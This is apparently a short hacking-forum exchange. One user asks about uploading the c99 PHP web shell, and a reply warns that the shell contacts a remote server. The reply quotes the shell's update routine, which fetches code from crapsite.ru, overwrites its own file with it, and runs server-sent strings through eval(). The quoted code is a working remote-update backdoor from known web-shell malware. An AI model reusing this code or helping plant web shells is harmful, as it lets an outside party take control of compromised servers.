I mean to upload a php shell let say c99 php shell
Don't test with the C99 shell, most variants I have seen will automatically make connections and download updates from a remote (obviously malicious) server.
A typical example:
PHP Code:
$updatenow = FALSE; //If TRUE, update now (this variable will be FALSE)
$c99sh_updateurl = "http://crapsite.ru/update/c99shell/"; //Update server
$c99sh_sourcesurl = "http://crapsite.ru/files/c99sh_sources/"; //Sources-server
Here is the update function:
PHP Code:
if (!function_exists("c99sh_getupdate"))
{
function c99sh_getupdate($update = TRUE)
{
$url = $GLOBALS["c99sh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["shver"]))."&updatenow=".($updatenow?"1":"0")."&";
$data = @file_get_contents($url);
if (!$data) {return "Can't connect to update-server!";}
else
{
$data = ltrim($data);
$string = substr($data,3,ord($data{2}));
if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;}
if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";}
if ($data{0} == "\x99" and $data{1} == "\x03")
{
$string = explode("\x01",$string);
if ($update)
{
$confvars = array();
$sourceurl = $string[0];
$source = file_get_contents($sourceurl);
if (!$source) {return "Can't fetch update!";}
else
{
$fp = fopen(__FILE__,"w");
if (!$fp) {return "Local error: can't write update to ".__FILE__."!
You may download c99shell.php manually
<a href=\"".$sourceurl."\"><u>here</u></a>.";}
else {fwrite($fp,$source); fclose($fp); return "Thanks! Updated with success.";}
}
}
else {return "New version are available: ".$string[1];}
}
elseif ($data{0} == "\x99" and $data{1} == "\x04") {eval($string); return 1;}
else {return "Error in protocol: segmentation failed! (".$data.") ";}
}
}
}
Whatever gets downloaded in this update is probably not something you want.
There are better ways to do this....